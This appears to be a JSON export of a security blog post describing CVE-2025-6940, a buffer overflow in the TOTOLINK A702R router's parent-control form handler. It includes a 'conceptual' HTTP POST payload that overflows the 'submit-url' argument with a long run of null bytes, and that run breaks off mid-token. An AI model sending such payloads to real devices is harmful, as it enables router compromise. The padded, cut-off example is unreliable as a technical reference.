{"id":57952,"date":"2025-07-07T02:46:40","date_gmt":"2025-07-07T02:46:40","guid":{"rendered":""},"modified":"2025-08-07T11:27:18","modified_gmt":"2025-08-07T17:27:18","slug":"cve-2025-6940-critical-buffer-overflow-vulnerability-in-totolink-a702r","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-6940-critical-buffer-overflow-vulnerability-in-totolink-a702r\/","title":{"rendered":"<strong>CVE-2025-6940: Critical Buffer Overflow Vulnerability in TOTOLINK A702R<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>This blog post provides an in-depth analysis of the critical security vulnerability identified as CVE-2025-6940, affecting TOTOLINK A702R 4.0.0-B20230721.1521. This vulnerability is particularly concerning as it permits the remote execution of arbitrary code, potentially leading to system compromise or data leakage. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-52928-severe-bypass-issue-in-arc-on-windows-allows-unauthorized-permissions-grant\/\"  data-wpil-monitor-id=\"65080\">severity of the issue<\/a> combined with the widespread use of TOTOLINK routers warrants immediate attention from security teams and system administrators worldwide.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-6940<br \/>\nSeverity: Critical (CVSS: 8.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: System Compromise, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3090-unauthenticated-remote-attack-leading-to-potential-data-leakage-and-system-compromise\/\"  data-wpil-monitor-id=\"64591\">Potential Data Leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6627-critical-buffer-overflow-vulnerability-in-totolink-a702r-4-0-0-b20230721-1521\/\"  data-wpil-monitor-id=\"64656\">TOTOLINK A702R<\/a> | 4.0.0-B20230721.1521<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability exists due to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20282-unauthenticated-file-upload-and-execution-vulnerability-in-cisco-ise-and-ise-pic\/\"  data-wpil-monitor-id=\"64488\">buffer overflow<\/a> condition within the HTTP POST request handler of the &#8220;\/boafrm\/formParentControl&#8221; file. The attack can be initiated by manipulating the &#8220;submit-url&#8221; argument in the HTTP POST request, causing the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6616-critical-buffer-overflow-vulnerability-in-d-link-dir-619l-2-06b01\/\"  data-wpil-monitor-id=\"64647\">buffer to overflow<\/a>. This overflow <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20281-critical-vulnerability-in-cisco-ise-and-ise-pic-apis-allows-remote-code-execution\/\"  data-wpil-monitor-id=\"64590\">allows the attacker to execute arbitrary code<\/a> on the targeted system, potentially compromising the system or leaking sensitive data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p>\n<p>Below is a conceptual example of how the vulnerability might be exploited. This is a simplified <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8243-critical-buffer-overflow-vulnerability-in-totolink-x15-http-post-request-handler\/\"  data-wpil-monitor-id=\"66764\">HTTP POST request<\/a>, manipulating the &#8220;submit-url&#8221; argument:<br \/>\n&#8220;`http<br \/>\nPOST \/boafrm\/formParentControl HTTP\/1.1<br \/>\nHost: target.example.com<br \/>\nContent-Type: application\/x-www-form-urlencoded<br \/>\nsubmit-url=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview This blog post provides an in-depth analysis of the critical security vulnerability identified as CVE-2025-6940, affecting TOTOLINK A702R 4.0.0-B20230721.1521. This vulnerability is particularly concerning as it permits the remote execution of arbitrary code, potentially leading to system compromise or data leakage. The severity of the issue combined with the widespread use of TOTOLINK routers [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[86],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-57952","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-buffer-overflow"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.4 - aioseo.com -->\n\t<meta name=\"description\" content=\"Overview This blog post provides an in-depth analysis of the critical security vulnerability identified as CVE-2025-6940, affecting TOTOLINK A702R 4.0.0-B20230721.1521. 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This vulnerability is particularly concerning as it permits the remote execution of arbitrary code, potentially leading to system compromise or data leakage. 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This vulnerability is particularly concerning as it permits the remote execution of arbitrary code, potentially leading to system compromise or data leakage. The severity of the issue combined with the widespread use of TOTOLINK routers","og:url":"https:\/\/www.ameeba.com\/blog\/cve-2025-6940-critical-buffer-overflow-vulnerability-in-totolink-a702r\/","og:image":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png","og:image:secure_url":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png","article:published_time":"2025-07-07T02:46:40+00:00","article:modified_time":"2025-08-07T17:27:18+00:00","twitter:card":"summary_large_image","twitter:title":"CVE-2025-6940: Critical Buffer Overflow Vulnerability in TOTOLINK A702R - Ameeba Blog","twitter:description":"Overview This blog post provides an in-depth analysis of the critical security vulnerability identified as CVE-2025-6940, affecting TOTOLINK A702R 4.0.0-B20230721.1521. This vulnerability is particularly concerning as it permits the remote execution of arbitrary code, potentially leading to system compromise or data leakage. The severity of the issue combined with the widespread use of TOTOLINK routers","twitter:image":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png"},"aioseo_meta_data":{"post_id":"57952","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"limit_modified_date":false,"created":"2025-07-07 07:55:33","updated":"2026-05-25 08:24:00","focus_keyword":null,"additional_keywords":null,"truseo_locale":null,"ai":null,"breadcrumb_settings":null,"seo_analyzer_scan_date":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/www.ameeba.com\/blog\/\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">\u00bb<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/www.ameeba.com\/blog\/category\/uncategorized\/\" title=\"Uncategorized\">Uncategorized<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">\u00bb<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<strong>CVE-2025-6940: Critical Buffer Overflow Vulnerability in TOTOLINK A702R<\/strong>\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/www.ameeba.com\/blog\/"},{"label":"Uncategorized","link":"https:\/\/www.ameeba.com\/blog\/category\/uncategorized\/"},{"label":"<strong>CVE-2025-6940: Critical Buffer Overflow Vulnerability in TOTOLINK A702R<\/strong>","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-6940-critical-buffer-overflow-vulnerability-in-totolink-a702r\/"}],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57952","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=57952"}],"version-history":[{"count":0,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57952\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=57952"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=57952"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=57952"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=57952"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=57952"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=57952"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=57952"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=57952"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=57952"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}